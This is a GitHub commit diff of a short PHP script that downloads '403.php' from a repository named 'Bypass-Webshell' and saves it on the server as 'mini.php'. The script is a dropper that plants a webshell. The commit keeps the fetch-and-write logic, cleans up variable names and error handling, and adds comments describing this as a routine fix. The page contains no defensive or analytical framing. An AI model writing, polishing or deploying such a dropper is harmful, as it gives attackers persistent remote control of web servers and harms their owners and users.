File tree Expand file tree Collapse file tree 1 file changed +15
-4
lines changed
Expand file tree Collapse file tree 1 file changed +15
-4
lines changed Original file line number Diff line number Diff line change 11<?php
2- $ encodedUrl = 'https://raw.githubusercontent.com/sagsooz/Bypass-Webshell/main/403.php ' ;
3- $ encodedContent = file_get_contents ($ encodedUrl );
4- $ decodedContent = base64_encode ($ encodedContent );
5- if (file_put_contents ('mini.php ' ,base64_decode ($ decodedContent ))){echo "File : mini.php Success ! " ;}else {echo error;}
2+ // Download 403.php from GitHub and write it to mini.php.
3+ // The original version attempted to echo an undefined constant
4+ // on failure which caused a PHP notice. It also used confusing
5+ // variable names. This version clarifies the logic and properly
6+ // prints an error message.
7+
8+ $ remoteUrl = 'https://raw.githubusercontent.com/sagsooz/Bypass-Webshell/main/403.php ' ;
9+ $ remoteContent = file_get_contents ($ remoteUrl );
10+ $ encodedContent = base64_encode ($ remoteContent );
11+
12+ if (file_put_contents ('mini.php ' , base64_decode ($ encodedContent ))) {
13+ echo "File : mini.php Success ! " ;
14+ } else {
15+ echo "Error " ;
16+ }
617?>
You can’t perform that action at this time.
0 commit comments